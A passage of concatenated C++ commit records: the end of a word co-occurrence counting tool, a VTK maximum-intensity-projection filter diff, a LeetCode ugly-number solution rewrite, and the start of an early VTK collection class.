(m->second == 0) continue; // cellCount++; // numwrite(out,m->first); // out.write(reinterpret_cast<char const*>(&m->second),sizeof(float)); // m1[id1] += m->second; // m2[m->first] += m->second; // } // } // index[m1.size()] = cellCount; // idxOffset = out.tellp(); // for (size_t i = 0; i < index.size(); ++i) // numwrite(out,index[i]); // out.write(reinterpret_cast<char const*>(&m1[0]),m1.size()*sizeof(float)); // out.write(reinterpret_cast<char const*>(&m2[0]),m2.size()*sizeof(float)); // // re-write the file header // out.seekp(0); // numwrite(out,idxOffset); // out.close(); // } int main(int argc, char* argv[]) { interpret_args(argc,argv); char c = *bname.rbegin(); if (c != '/' && c != '.') bname += '.'; T1.open(bname+L1+".mct"); T2.open(bname+L2+".mct"); Tx.open(bname+L1+"-"+L2+".mam"); V1.open(bname+L1+".tdx"); V2.open(bname+L2+".tdx"); if (!truncat) truncat = T1.size(); XLEX.resize(num_threads); vector<boost::shared_ptr<boost::thread> > workers(num_threads); for (size_t i = 0; i < num_threads; ++i) workers[i].reset(new boost::thread(Counter(XLEX[i],i,num_threads))); for (size_t i = 0; i < workers.size(); ++i) workers[i]->join(); // cerr << "done counting" << endl; ofstream aln_out,coc_out; if (oname.size()) aln_out.open(oname.c_str()); if (cooc.size()) coc_out.open(cooc.c_str()); writeTable(oname.size() ? &aln_out : NULL, cooc.size() ? &coc_out : NULL); if (oname.size()) aln_out.close(); if (cooc.size()) coc_out.close(); } void interpret_args(int ac, char* av[]) { namespace po=boost::program_options; po::variables_map vm; po::options_description o("Options"); po::options_description h("Hidden Options"); po::positional_options_description a; o.add_options() ("help,h", "print this message") ("cfg,f", po::value<string>(&cfgFile),"config file") ("oname,o", po::value<string>(&oname),"output file name") ("cooc,c", po::value<string>(&cooc), "file name for raw co-occurrence counts") ("verbose,v", po::value<int>(&verbose)->default_value(0)->implicit_value(1), "verbosity level") ("threads,t", po::value<size_t>(&num_threads)->default_value(4), "count in <N> parallel threads") ("truncate,n", po::value<size_t>(&truncat)->default_value(0), "truncate corpus to <N> sentences (for debugging)") ; h.add_options() ("bname", po::value<string>(&bname), "base name") ("L1", po::value<string>(&L1),"L1 tag") ("L2", po::value<string>(&L2),"L2 tag") ; a.add("bname",1); a.add("L1",1); a.add("L2",1); get_options(ac,av,h.add(o),a,vm,"cfg"); if (vm.count("help") || bname.empty() || (oname.empty() && cooc.empty())) { cout << "usage:\n\t" << av[0] << " <basename> <L1 tag> <L2 tag> [-o <output file>] [-c <output file>]\n" << endl; cout << "at least one of -o / -c must be specified." << endl; cout << o << endl; exit(0); } num_threads = min(num_threads,24UL); } <|endoftext|>
<commit_before>/*========================================================================= Program: Visualization Toolkit Module: vtkImageMIPFilter.cxx Language: C++ Date: $Date$ Version: $Revision$ Thanks: Thanks to Abdalmajeid M. Alyassin who developed this class. Copyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen. This software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen. The following terms apply to all files associated with the software unless explicitly disclaimed in individual files. This copyright specifically does not apply to the related textbook "The Visualization Toolkit" ISBN 013199837-4 published by Prentice Hall which is covered by its own copyright. The authors hereby grant permission to use, copy, and distribute this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. Additionally, the authors grant permission to modify this software and its documentation for any purpose, provided that such modifications are not distributed without the explicit consent of the authors and that existing copyright notices are retained in all copies. Some of the algorithms implemented by this software are patented, observe all applicable patent law. IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. =========================================================================*/ #include "vtkImageMIPFilter.h" #include <math.h> #include <stdlib.h> //---------------------------------------------------------------------------- // Description: // Constructor sets default values vtkImageMIPFilter::vtkImageMIPFilter() { this->ProjectionRange[0] = 0; this->ProjectionRange[1] = 0; this->MinMaxIP = 1; this->MIPX = 0; this->MIPY = 0; this->MIPZ = 1; this->SetAxes(VTK_IMAGE_X_AXIS, VTK_IMAGE_Y_AXIS,VTK_IMAGE_Z_AXIS); this->ExecuteDimensionality = 3; // Input is 3D, output is 2D this->Dimensionality = 3; } //---------------------------------------------------------------------------- void vtkImageMIPFilter::PrintSelf(ostream& os, vtkIndent indent) { vtkImageFilter::PrintSelf(os,indent); os << indent << "MinMaxIP : (" << this->MinMaxIP << ")\n"; os << indent << "MIP Direction: x-y, x-z, or y-z plane : (" << this->GetMIPX() << ", " << this->GetMIPY() << ", " << this->GetMIPZ() << ")\n"; } //---------------------------------------------------------------------------- // Description: // This templated function executes the filter for any type of data. template <class T> void vtkImageMIPFilterExecute(vtkImageMIPFilter *self, vtkImageRegion *inRegion, T *inPtr, vtkImageRegion *outRegion, T *outPtr) { int min0, max0, min1, max1; int idx0, idx1,idx2; int inInc0, inInc1, inInc2; int outInc0, outInc1; T *inPtr0, *inPtr1, *inPtr2; T *outPtr0, *outPtr1,startvalue; int prorange[2], minmaxip; int defmin; int mipx,mipy,mipz; int mipflag(int m1,int m2, int m3); // Get information to march through data inRegion->GetIncrements(inInc0, inInc1, inInc2); outRegion->GetIncrements(outInc0, outInc1); outRegion->GetExtent(min0, max0, min1, max1); self->GetProjectionRange(prorange[0],prorange[1]); minmaxip = self->GetMinMaxIP(); mipx = self->GetMIPX(); mipy = self->GetMIPY(); mipz = self->GetMIPZ(); if (!mipflag(mipx,mipy,mipz)){ return;} // Loop first through projection range then along the other two axes inPtr1 = inPtr ; outPtr1 = outPtr; if ( minmaxip == 1) { if (mipz) { cout << " MIPZ is on !!!" << endl; for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; inPtr0 = inPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; inPtr2 = inPtr0; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ if (*inPtr2 > *outPtr0) *outPtr0 = *inPtr2; inPtr2 += inInc2; } outPtr0 += outInc0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr1 += inInc1; } } else if (mipy) { // clear output image ... outPtr1 = outPtr; for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; outPtr0 += outInc0; } outPtr1 += outInc1; } cout << " MIPXZ is on !!!" << endl; inPtr2 = inPtr ; outPtr1 = outPtr; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ outPtr0 = outPtr1; inPtr0 = inPtr2; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; inPtr1 = inPtr0; for (idx1 = min1; idx1 <= max1; ++idx1){ if (*inPtr1 > *outPtr0) *outPtr0 = *inPtr1; inPtr1 += inInc1; } outPtr0 += outInc0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr2 += inInc2; } } else if (mipx) { // clear output image ... outPtr1 = outPtr; for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; outPtr0 += outInc0; } outPtr1 += outInc1; } cout << " MIPYZ is on !!!" << endl; inPtr2 = inPtr ; outPtr0 = outPtr; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ outPtr1 = outPtr0; inPtr1 = inPtr2; for (idx1 = min1; idx1 <= max1; ++idx1){ *outPtr1 = 0; inPtr0 = inPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ if (*inPtr0 > *outPtr1) *outPtr1 = *inPtr0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr1 += inInc1; } outPtr0 += outInc0; inPtr2 += inInc2; } } } else if ( minmaxip == 0) { defmin = sizeof(startvalue); startvalue = (T)pow(2.0,double(8*defmin -1)) - 1; if ( mipz ) { for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; inPtr0 = inPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ // need to find optimum minimum !!! interesting *outPtr0 = startvalue; inPtr2 = inPtr0; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ if (*inPtr2 < *outPtr0) *outPtr0 = *inPtr2; inPtr2 += inInc2; } outPtr0 += outInc0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr1 += inInc1; } } else if (mipy) { // clear output image ... outPtr1 = outPtr; for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; outPtr0 += outInc0; } outPtr1 += outInc1; } cout << " MIPXZ is on !!!" << endl; inPtr2 = inPtr ; outPtr1 = outPtr; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ outPtr0 = outPtr1; inPtr0 = inPtr2; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = startvalue; inPtr1 = inPtr0; for (idx1 = min1; idx1 <= max1; ++idx1){ if (*inPtr1 < *outPtr0) *outPtr0 = *inPtr1; inPtr1 += inInc1; } outPtr0 += outInc0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr2 += inInc2; } } else if (mipx) { // clear output image ... outPtr1 = outPtr; for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; outPtr0 += outInc0; } outPtr1 += outInc1; } cout << " MIPYZ is on !!!" << endl; inPtr2 = inPtr ; outPtr0 = outPtr; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ outPtr1 = outPtr0; inPtr1 = inPtr2; for (idx1 = min1; idx1 <= max1; ++idx1){ *outPtr1 = startvalue; inPtr0 = inPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ if (*inPtr0 < *outPtr1) *outPtr1 = *inPtr0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr1 += inInc1; } outPtr0 += outInc0; inPtr2 += inInc2; } } } else { cerr << "Not Valid value for MinMaxIP, must be either 0 or 1" << endl; return; } } /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Function: int mipflag(int mipx,int mipy,int mipz) checks that only one flag is set to do MIP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ int mipflag(int mipx,int mipy,int mipz) { // check that only one flag for MIP is on ... if ( mipx) { if ( mipy | mipz ) { cerr << "Please set only on flag for MIP!!!" << endl; return 0; } else return 1; } else if ( mipy) { if ( mipx | mipz) { cerr << "Please set only on flag for MIP!!!" << endl; return 0; } else return 1; } else if ( mipz) { if ( mipx | mipy) { cerr << "Please set only on flag for MIP!!!" << endl; return 0; } else return 1; } else { cerr << "Please set either (MIPX, MIPY, or MIPZ) On for MIP!!!" << endl; return 0; } } //---------------------------------------------------------------------------- // Description: // This method is passed a input and output region, and executes the filter // algorithm to fill the output from the input. // It just executes a switch statement to call the correct function for // the regions data types. void vtkImageMIPFilter::Execute(vtkImageRegion *inRegion, vtkImageRegion *outRegion) { void *inPtr = inRegion->GetScalarPointer(); void *outPtr = outRegion->GetScalarPointer(); vtkDebugMacro(<< "Execute: inRegion = " << inRegion << ", outRegion = " << outRegion); // this filter expects that input is the same type as output. if (inRegion->GetScalarType() != outRegion->GetScalarType()) { vtkErrorMacro(<< "Execute: input ScalarType, " << inRegion->GetScalarType() << ", must match out ScalarType " << outRegion->GetScalarType()); return; } switch (inRegion->GetScalarType()) { case VTK_FLOAT: vtkImageMIPFilterExecute(this, inRegion, (float *)(inPtr), outRegion, (float *)(outPtr)); break; case VTK_INT: vtkImageMIPFilterExecute(this, inRegion, (int *)(inPtr), outRegion, (int *)(outPtr)); break; case VTK_SHORT: vtkImageMIPFilterExecute(this, inRegion, (short *)(inPtr), outRegion, (short *)(outPtr)); break; case VTK_UNSIGNED_SHORT: vtkImageMIPFilterExecute(this, inRegion, (unsigned short *)(inPtr), outRegion, (unsigned short *)(outPtr)); break; case VTK_UNSIGNED_CHAR: vtkImageMIPFilterExecute(this, inRegion, (unsigned char *)(inPtr), outRegion, (unsigned char *)(outPtr)); break; default: vtkErrorMacro(<< "Execute: Unknown ScalarType"); return; } } //---------------------------------------------------------------------------- // Description: // This method is passed a region that holds the boundary of this filters // input, and changes the region to hold the boundary of this filters // output. void vtkImageMIPFilter::ComputeOutputImageInformation(vtkImageRegion *inRegion, vtkImageRegion *outRegion) { int extent[6]; // reduce extent from 3 to 2 D. inRegion->GetImageExtent(3, extent); extent[4] = 0; extent[5] =0; outRegion->SetImageExtent(3, extent); } //---------------------------------------------------------------------------- // Description: // This method computes the extent of the input region necessary to generate // an output region. Before this method is called "region" should have the // extent of the output region. After this method finishes, "region" should // have the extent of the required input region. void vtkImageMIPFilter::ComputeRequiredInputRegionExtent( vtkImageRegion *outRegion, vtkImageRegion *inRegion) { int extent[6]; int imageExtent[6]; outRegion->GetExtent(3, extent); inRegion->GetImageExtent(3, imageExtent); extent[4] = this->ProjectionRange[0]; extent[5] = this->ProjectionRange[1]; inRegion->SetExtent(3, extent); } <commit_msg>minor pc fix<commit_after>/*========================================================================= Program: Visualization Toolkit Module: vtkImageMIPFilter.cxx Language: C++ Date: $Date$ Version: $Revision$ Thanks: Thanks to Abdalmajeid M. Alyassin who developed this class. Copyright (c) 1993-1995 Ken Martin, Will Schroeder, Bill Lorensen. This software is copyrighted by Ken Martin, Will Schroeder and Bill Lorensen. The following terms apply to all files associated with the software unless explicitly disclaimed in individual files. This copyright specifically does not apply to the related textbook "The Visualization Toolkit" ISBN 013199837-4 published by Prentice Hall which is covered by its own copyright. The authors hereby grant permission to use, copy, and distribute this software and its documentation for any purpose, provided that existing copyright notices are retained in all copies and that this notice is included verbatim in any distributions. Additionally, the authors grant permission to modify this software and its documentation for any purpose, provided that such modifications are not distributed without the explicit consent of the authors and that existing copyright notices are retained in all copies. Some of the algorithms implemented by this software are patented, observe all applicable patent law. IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT. THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS. =========================================================================*/ #include "vtkImageMIPFilter.h" #include <math.h> #include <stdlib.h> //---------------------------------------------------------------------------- // Description: // Constructor sets default values vtkImageMIPFilter::vtkImageMIPFilter() { this->ProjectionRange[0] = 0; this->ProjectionRange[1] = 0; this->MinMaxIP = 1; this->MIPX = 0; this->MIPY = 0; this->MIPZ = 1; this->SetAxes(VTK_IMAGE_X_AXIS, VTK_IMAGE_Y_AXIS,VTK_IMAGE_Z_AXIS); this->ExecuteDimensionality = 3; // Input is 3D, output is 2D this->Dimensionality = 3; } //---------------------------------------------------------------------------- void vtkImageMIPFilter::PrintSelf(ostream& os, vtkIndent indent) { vtkImageFilter::PrintSelf(os,indent); os << indent << "MinMaxIP : (" << this->MinMaxIP << ")\n"; os << indent << "MIP Direction: x-y, x-z, or y-z plane : (" << this->GetMIPX() << ", " << this->GetMIPY() << ", " << this->GetMIPZ() << ")\n"; } // prototype for local function int mipflag(int m1, int m2, int m3); //---------------------------------------------------------------------------- // Description: // This templated function executes the filter for any type of data. template <class T> void vtkImageMIPFilterExecute(vtkImageMIPFilter *self, vtkImageRegion *inRegion, T *inPtr, vtkImageRegion *outRegion, T *outPtr) { int min0, max0, min1, max1; int idx0, idx1,idx2; int inInc0, inInc1, inInc2; int outInc0, outInc1; T *inPtr0, *inPtr1, *inPtr2; T *outPtr0, *outPtr1,startvalue; int prorange[2], minmaxip; int defmin; int mipx,mipy,mipz; // Get information to march through data inRegion->GetIncrements(inInc0, inInc1, inInc2); outRegion->GetIncrements(outInc0, outInc1); outRegion->GetExtent(min0, max0, min1, max1); self->GetProjectionRange(prorange[0],prorange[1]); minmaxip = self->GetMinMaxIP(); mipx = self->GetMIPX(); mipy = self->GetMIPY(); mipz = self->GetMIPZ(); if (!mipflag(mipx,mipy,mipz)){ return;} // Loop first through projection range then along the other two axes inPtr1 = inPtr ; outPtr1 = outPtr; if ( minmaxip == 1) { if (mipz) { cout << " MIPZ is on !!!" << endl; for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; inPtr0 = inPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; inPtr2 = inPtr0; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ if (*inPtr2 > *outPtr0) *outPtr0 = *inPtr2; inPtr2 += inInc2; } outPtr0 += outInc0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr1 += inInc1; } } else if (mipy) { // clear output image ... outPtr1 = outPtr; for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; outPtr0 += outInc0; } outPtr1 += outInc1; } cout << " MIPXZ is on !!!" << endl; inPtr2 = inPtr ; outPtr1 = outPtr; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ outPtr0 = outPtr1; inPtr0 = inPtr2; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; inPtr1 = inPtr0; for (idx1 = min1; idx1 <= max1; ++idx1){ if (*inPtr1 > *outPtr0) *outPtr0 = *inPtr1; inPtr1 += inInc1; } outPtr0 += outInc0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr2 += inInc2; } } else if (mipx) { // clear output image ... outPtr1 = outPtr; for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; outPtr0 += outInc0; } outPtr1 += outInc1; } cout << " MIPYZ is on !!!" << endl; inPtr2 = inPtr ; outPtr0 = outPtr; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ outPtr1 = outPtr0; inPtr1 = inPtr2; for (idx1 = min1; idx1 <= max1; ++idx1){ *outPtr1 = 0; inPtr0 = inPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ if (*inPtr0 > *outPtr1) *outPtr1 = *inPtr0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr1 += inInc1; } outPtr0 += outInc0; inPtr2 += inInc2; } } } else if ( minmaxip == 0) { defmin = sizeof(startvalue); startvalue = (T)pow(2.0,double(8*defmin -1)) - 1; if ( mipz ) { for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; inPtr0 = inPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ // need to find optimum minimum !!! interesting *outPtr0 = startvalue; inPtr2 = inPtr0; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ if (*inPtr2 < *outPtr0) *outPtr0 = *inPtr2; inPtr2 += inInc2; } outPtr0 += outInc0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr1 += inInc1; } } else if (mipy) { // clear output image ... outPtr1 = outPtr; for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; outPtr0 += outInc0; } outPtr1 += outInc1; } cout << " MIPXZ is on !!!" << endl; inPtr2 = inPtr ; outPtr1 = outPtr; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ outPtr0 = outPtr1; inPtr0 = inPtr2; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = startvalue; inPtr1 = inPtr0; for (idx1 = min1; idx1 <= max1; ++idx1){ if (*inPtr1 < *outPtr0) *outPtr0 = *inPtr1; inPtr1 += inInc1; } outPtr0 += outInc0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr2 += inInc2; } } else if (mipx) { // clear output image ... outPtr1 = outPtr; for (idx1 = min1; idx1 <= max1; ++idx1){ outPtr0 = outPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ *outPtr0 = 0; outPtr0 += outInc0; } outPtr1 += outInc1; } cout << " MIPYZ is on !!!" << endl; inPtr2 = inPtr ; outPtr0 = outPtr; for (idx2 = prorange[0];idx2 <= prorange[1];idx2++){ outPtr1 = outPtr0; inPtr1 = inPtr2; for (idx1 = min1; idx1 <= max1; ++idx1){ *outPtr1 = startvalue; inPtr0 = inPtr1; for (idx0 = min0; idx0 <= max0; ++idx0){ if (*inPtr0 < *outPtr1) *outPtr1 = *inPtr0; inPtr0 += inInc0; } outPtr1 += outInc1; inPtr1 += inInc1; } outPtr0 += outInc0; inPtr2 += inInc2; } } } else { cerr << "Not Valid value for MinMaxIP, must be either 0 or 1" << endl; return; } } /*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Function: int mipflag(int mipx,int mipy,int mipz) checks that only one flag is set to do MIP. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ int mipflag(int mipx,int mipy,int mipz) { // check that only one flag for MIP is on ... if ( mipx) { if ( mipy | mipz ) { cerr << "Please set only on flag for MIP!!!" << endl; return 0; } else return 1; } else if ( mipy) { if ( mipx | mipz) { cerr << "Please set only on flag for MIP!!!" << endl; return 0; } else return 1; } else if ( mipz) { if ( mipx | mipy) { cerr << "Please set only on flag for MIP!!!" << endl; return 0; } else return 1; } else { cerr << "Please set either (MIPX, MIPY, or MIPZ) On for MIP!!!" << endl; return 0; } } //---------------------------------------------------------------------------- // Description: // This method is passed a input and output region, and executes the filter // algorithm to fill the output from the input. // It just executes a switch statement to call the correct function for // the regions data types. void vtkImageMIPFilter::Execute(vtkImageRegion *inRegion, vtkImageRegion *outRegion) { void *inPtr = inRegion->GetScalarPointer(); void *outPtr = outRegion->GetScalarPointer(); vtkDebugMacro(<< "Execute: inRegion = " << inRegion << ", outRegion = " << outRegion); // this filter expects that input is the same type as output. if (inRegion->GetScalarType() != outRegion->GetScalarType()) { vtkErrorMacro(<< "Execute: input ScalarType, " << inRegion->GetScalarType() << ", must match out ScalarType " << outRegion->GetScalarType()); return; } switch (inRegion->GetScalarType()) { case VTK_FLOAT: vtkImageMIPFilterExecute(this, inRegion, (float *)(inPtr), outRegion, (float *)(outPtr)); break; case VTK_INT: vtkImageMIPFilterExecute(this, inRegion, (int *)(inPtr), outRegion, (int *)(outPtr)); break; case VTK_SHORT: vtkImageMIPFilterExecute(this, inRegion, (short *)(inPtr), outRegion, (short *)(outPtr)); break; case VTK_UNSIGNED_SHORT: vtkImageMIPFilterExecute(this, inRegion, (unsigned short *)(inPtr), outRegion, (unsigned short *)(outPtr)); break; case VTK_UNSIGNED_CHAR: vtkImageMIPFilterExecute(this, inRegion, (unsigned char *)(inPtr), outRegion, (unsigned char *)(outPtr)); break; default: vtkErrorMacro(<< "Execute: Unknown ScalarType"); return; } } //---------------------------------------------------------------------------- // Description: // This method is passed a region that holds the boundary of this filters // input, and changes the region to hold the boundary of this filters // output. void vtkImageMIPFilter::ComputeOutputImageInformation(vtkImageRegion *inRegion, vtkImageRegion *outRegion) { int extent[6]; // reduce extent from 3 to 2 D. inRegion->GetImageExtent(3, extent); extent[4] = 0; extent[5] =0; outRegion->SetImageExtent(3, extent); } //---------------------------------------------------------------------------- // Description: // This method computes the extent of the input region necessary to generate // an output region. Before this method is called "region" should have the // extent of the output region. After this method finishes, "region" should // have the extent of the required input region. void vtkImageMIPFilter::ComputeRequiredInputRegionExtent( vtkImageRegion *outRegion, vtkImageRegion *inRegion) { int extent[6]; int imageExtent[6]; outRegion->GetExtent(3, extent); inRegion->GetImageExtent(3, imageExtent); extent[4] = this->ProjectionRange[0]; extent[5] = this->ProjectionRange[1]; inRegion->SetExtent(3, extent); } <|endoftext|>
<commit_before>// Time: O(n) // Space: O(1) // Heap solution. class Solution { public: int nthUglyNumber(int n) { long long ugly_number = 0; priority_queue<long long , vector<long long>, greater<long long>> heap; heap.emplace(1); for (int i = 0; i < n; ++i) { ugly_number = heap.top(); heap.pop(); if (ugly_number % 2 == 0) { heap.emplace(ugly_number * 2); } else if (ugly_number % 3 == 0) { heap.emplace(ugly_number * 2); heap.emplace(ugly_number * 3); } else { heap.emplace(ugly_number * 2); heap.emplace(ugly_number * 3); heap.emplace(ugly_number * 5); } } return ugly_number; } }; // BST solution. class Solution2 { public: int nthUglyNumber(int n) { long long ugly_number = 0; set<long long> bst; bst.emplace(1); for (int i = 0; i < n; ++i) { ugly_number = *bst.cbegin(); bst.erase(bst.cbegin()); if (ugly_number % 2 == 0) { bst.emplace(ugly_number * 2); } else if (ugly_number % 3 == 0) { bst.emplace(ugly_number * 2); bst.emplace(ugly_number * 3); } else { bst.emplace(ugly_number * 2); bst.emplace(ugly_number * 3); bst.emplace(ugly_number * 5); } } return ugly_number; } }; <commit_msg>Update ugly-number-ii.cpp<commit_after>// Time: O(n) // Space: O(n) // DP solution. (20ms) class Solution { public: int nthUglyNumber(int n) { vector<int> uglies{1}; int f2 = 2, f3 = 3, f5 = 5; int idx2 = 0, idx3 = 0, idx5 = 0; while (uglies.size() < n) { int min_val = min(min(f2, f3), f5); uglies.emplace_back(min_val); if (min_val == f2) { f2 = 2 * uglies[++idx2]; } if (min_val == f3) { f3 = 3 * uglies[++idx3]; } if (min_val == f5) { f5 = 5 * uglies[++idx5]; } } return uglies[n - 1]; } }; // Time: O(n) // Space: O(1) // Heap solution. (148ms) class Solution2 { public: int nthUglyNumber(int n) { long long ugly_number = 0; priority_queue<long long , vector<long long>, greater<long long>> heap; heap.emplace(1); for (int i = 0; i < n; ++i) { ugly_number = heap.top(); heap.pop(); if (ugly_number % 2 == 0) { heap.emplace(ugly_number * 2); } else if (ugly_number % 3 == 0) { heap.emplace(ugly_number * 2); heap.emplace(ugly_number * 3); } else { heap.emplace(ugly_number * 2); heap.emplace(ugly_number * 3); heap.emplace(ugly_number * 5); } } return ugly_number; } }; // BST solution. class Solution3 { public: int nthUglyNumber(int n) { long long ugly_number = 0; set<long long> bst; bst.emplace(1); for (int i = 0; i < n; ++i) { ugly_number = *bst.cbegin(); bst.erase(bst.cbegin()); if (ugly_number % 2 == 0) { bst.emplace(ugly_number * 2); } else if (ugly_number % 3 == 0) { bst.emplace(ugly_number * 2); bst.emplace(ugly_number * 3); } else { bst.emplace(ugly_number * 2); bst.emplace(ugly_number * 3); bst.emplace(ugly_number * 5); } } return ugly_number; } }; <|endoftext|>
<commit_before>/*========================================================================= Program: Visualization Library Module: Collect.cc Language: C++ Date: $Date$ Version: $Revision$ This file is part of the Visualization Library. No part of this file or its contents may be copied, reproduced or altered in any way without the express written consent of the authors. Copyright (c) Ken Martin, Will Schroeder, Bill Lorensen 1993, 1994 =========================================================================*/ #include <stdlib.h> #include <iostream.h> #include <math.h> #include "Collect.hh" vlCollection::vlCollection() { this->NumberOfItems = 0; this->Top = NULL; this->Bottom = NULL; } void vlCollection::AddItem(vlObject *a) { vlCollectionElement *elem; elem = new vlCollectionElement; if (!this->Top) { this->Top = elem; } else { this->Bottom->Next = elem; } this->Bottom = elem; elem->Item = a; elem->Next = NULL; this->NumberOfItems++; } void vlCollection::RemoveItem(vlObject *a) { int i; vlCollectionElement *elem,*prev; if (!this->Top) return; elem = this->Top; prev = NULL; for (i = 0; i < this->NumberOfItems; i++) { if (elem->Item == a) { if (prev) { prev->Next = elem->Next; } else { this->Top = elem->Next; } if (!elem->Next) { this->Bottom = prev; } delete elem; this->NumberOfItems--; return; } else { prev = elem; elem = elem->Next; } } } int vlCollection::IsItemPresent(vlObject *a) { int i; vlCollectionElement *elem; if (!this->Top) return 0; elem = this->Top; for (i = 0; i < this->NumberOfItems; i++) { if (elem->Item == a) { return i + 